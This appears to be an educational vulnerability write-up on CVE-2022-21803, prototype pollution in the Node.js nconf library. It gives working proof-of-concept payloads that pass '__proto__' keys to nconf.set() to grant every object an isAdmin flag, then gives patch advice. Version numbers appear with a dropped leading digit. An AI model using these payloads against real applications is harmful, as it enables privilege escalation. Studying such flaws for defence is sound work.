nconf is a popular configuration management library for Node.js, widely used to organize application settings. But before version .11.4, a dangerous security flaw lurked within, exposing many applications to Prototype Pollution attacks. In this long read, we’ll dive deep into what happened, how it works, and even show you how attackers could have exploited it.

What is Prototype Pollution?

Prototype pollution is a type of vulnerability found in JavaScript. Objects can inherit properties from a common ancestor (the prototype). If an attacker can modify this prototype, they can poison or change behaviors across all objects of that type in your application!

Example

Object.prototype.polluted = 'yes';
let obj = {};
console.log(obj.polluted); // => 'yes'

Even though obj seems empty, it now has an unexpected property from the prototype.

About nconf

nconf on GitHub
nconf on npm

nconf lets you manage configuration using different storage engines (memory, files, env, etc.). Its .set() function allows users to set values directly into the configuration tree. However, before version .11.4, the function didn’t sanitize property names correctly, opening the door for prototype pollution.

Affected Versions: < .11.4

- CVE: CVE-2022-21803

How It Works

Using nconf’s memory storage, an attacker can use __proto__ or constructor.prototype in nested configuration objects. nconf's .set() would walk down the property tree blindly, allowing an attacker to poison the global prototype.

Step 1: Install Vulnerable nconf

npm install nconf@.11.3

Step 2: Sample Vulnerable Code

const nconf = require('nconf');

// Use in-memory configuration
nconf.use('memory');

// Suppose user input controls the key and value
let userInputKey = "__proto__.isAdmin";
let userInputValue = true;

// This simulates: nconf.set("__proto__.isAdmin", true)
nconf.set(userInputKey, userInputValue);

console.log(({}).isAdmin); // => true

What happened?

By crafting a key like "__proto__.isAdmin" and passing it to .set(), the code pollutes Object.prototype. Now, every object in your app will think it has an isAdmin property.

Imagine an app checks if a user is admin like this

if (user.isAdmin) {
  // ... grant admin powers!
}

After pollution, ALL users become admins. The app is now fully compromised.

Original References

- CVE Report
- npm advisory
- GitHub Advisory

Store a nested JSON in nconf

nconf.set({
  "levels": {
    "__proto__": {
      "hacked": "yes"
    }
  }
});

console.log(({}).hacked); // => 'yes'

Or, using dot-notation

nconf.set('user.__proto__.superuser', true);
console.log(({}).superuser); // => true

Mitigation & Patch

The maintainers patched this issue in nconf v.11.4.

Update immediately

npm install nconf@latest

Or, avoid using .set() with unsanitized user input, and always validate/sanitize configuration keys.

Stay safe and keep your dependencies secure!

*This article is exclusive and written for educational purposes. For more details, see CVE-2022-21803 on MITRE.*

Timeline

Published on: 04/12/2022 16:15:00 UTC
Last modified on: 04/20/2022 14:07:00 UTC